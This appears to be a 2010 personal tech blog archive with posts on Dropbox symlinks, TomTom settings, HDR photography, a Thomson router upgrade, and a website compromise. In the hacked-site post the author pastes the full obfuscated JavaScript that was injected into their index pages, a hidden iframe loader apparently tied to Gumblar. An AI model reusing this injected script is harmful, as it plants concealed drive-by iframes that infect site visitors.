Search This Blog

Friday, 27 August 2010

Adding other directories to Drop Box

Drop Box is a brilliant app for syncing files between different PC's & OS's via the cloud.
Highly recommended !

By default Drop Box will only monitor and sync files and directories in the folder you set up, or by default \Users\User\Documents\My DropBox.

To add 'other' files you can create a symbolic link in the drop box directory to the external area.

Start a command prompt
(Depending on your OS then you may need to start a command prompt as Administrator)

mklink /d {source} {destination}
mklink /d "C:\Path\To\My Dropbox Folder\" "\Path\to\directory"
Pathto can be a UNC or mapped drive letter. 
In your drop box folder will now be the link, which will appear exactly like another folder.

Saturday, 21 August 2010

Lost TomTom favorites

After upgrading my software and then installing a bunch of new maps I noticed my favorites had got lost.  Reluctant to restore from a backup using HOME I found this :
Connect your TT to the PC, shut down TomTom "Home" if that opens. You will notice the TomTom is recognised as a new hard drive.
Now, using Windows Explorer, open the backup folder you made on the PC. Look in the named map folder for the "MapSettings.cfg" file.
If you find it, copy that file and paste it into the same place on the TomTom itself.
Sorted ..

My websites been hacked !

I run a forum and a personal site

Last night someone posted on the forum that Google had flagged the site as dangerous and a follow post that Kaspersky was reporting a trojan - Trojan.JS.Iframe.nk

What !, my forum, no way .. I tried a few things and my AV (Mcafee) didnt complain.  Odd, check the date time on the files and low and behold the index.* (htm, html, php) files had been changed 2 days ago .. not by me.

var I={j:{I:{I:'~',l:'.',j:'^'},l:{I:'%',l:218915,j:1154%256},j:{I:1^0,l:55,j:'ijl'}},I:{I:{I:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=I.I.I.I(I.l.I.I('.'));var j=(l)?I.I.I.l():false;return j;}},l:{I:function(){var l=I.I.I.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=I.I.j.j(I.I.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=I.I.j.I(I.I.l.I());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{I:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return I.I.j.I(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{I:{I:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'21',j:'16'},l:{I:'50',l:'85',j:'81'},j:{I:'55',l:'85',j:'57'}}}

Had been added to both the forum and my personal site index files.  A strange file templatesnews.php had also been uploaded at the same time.

Anyone know what that code does ? ..

Cleaned the files up and locked FTP, even though I had a stupidly complex password.

I've emailed the hosting company, as I suspected something wider.  They got back to me and told me mine where the only sites - look for Gumblar.

Now last weekend my home PC started to act up, Firefox and Chrome would both crash, actually come to think of it the two sites I always rely on for testing are mine.  That explains it ! .. A quick google and it appears Grumblar can get saved password from CoreFTP which I use, it then inserts code to spread itself.  

Bugger, and I work in IT ! .. My machine runs upto date AV, Spyware, Firewall & Windows updates. How the hell did this get in ..

Props to who quickly restored my site from backups and I've since disabled FTP and changed the passwords again.

Now to make sure this b'stard thing has'nt infected my since rebuilt OS.

Sunday, 8 August 2010

My first play with HDR

Definitely need a tri-pod and its very easy to go silly .. example picture 2

Wednesday, 4 August 2010

Upgrading Thompson TG585-V7 DSL Router

The box will totally loose its config when you do this  .. IP, admin password, ALL
  1. Backup the config and put a copy locally.
  2. Apply firmware using the upgrade utility.
  3. The FW upgrade will revert the router to its default subnet -
  4. Browse to
    • UID : Administrator
    • PW  : Serial Number of router
  5. Restore config from #1
  6. The upgrade seems to loose some of the MAC / device names, if you've defined them.  If you can be bothered re-define the devices.
  7. Change the WLAN back to your key, the firmware applies the default keys.
If you'd previously modified the default DNS servers you'll need to correct this as the fw adds the BE server and makes it default.  Below is how to clean up and add the OpenDNS servers ..

nb// is a local DNS server on my network.

Telnet to your modem by running ‘telnet′ replace the with your modem’s ipaddress a login with the Administrator account.

Type :
  1. dns server route
  2. list - to list your current DNS settings. Write these down somewhere so you’ll be able to change them back if you want to. 
  3. flush - to delete all dns servers in the list.  
  4. add dns= intf=Dynamic_IP  - adds first OpenDNS server.  
  5. add dns= metric=1 intf=Dynamic_IP - second Opendns server. 
  6. list - should show the applied changes

Then type saveall to save these new settings. And finally exit to exit the telnet session. You should now able to browse the web using OpenDNS.

Sunday, 1 August 2010

Taking HDR shots with Canon 30D

Yet to play with this but it looks interesting. Found a blog with instructions for my camera which I should keep.

- Select Av mode from dial mode
- press menu and go to AEB section, press SET and rotate the rear dial until we have -2/0/+2 marked with green, press SET again and after that hit MENU once again to disappear.
- press DRIVE-ISO and after that rotate top dial until we setup the camera on timer mode. Also setup ISO as low as you can to not have noise on your photos.
Place the body on a tripod hit the shutter release and the camera will take up 3 photos for you to make a beautiful hdr photo. You may test with multiple aperture size.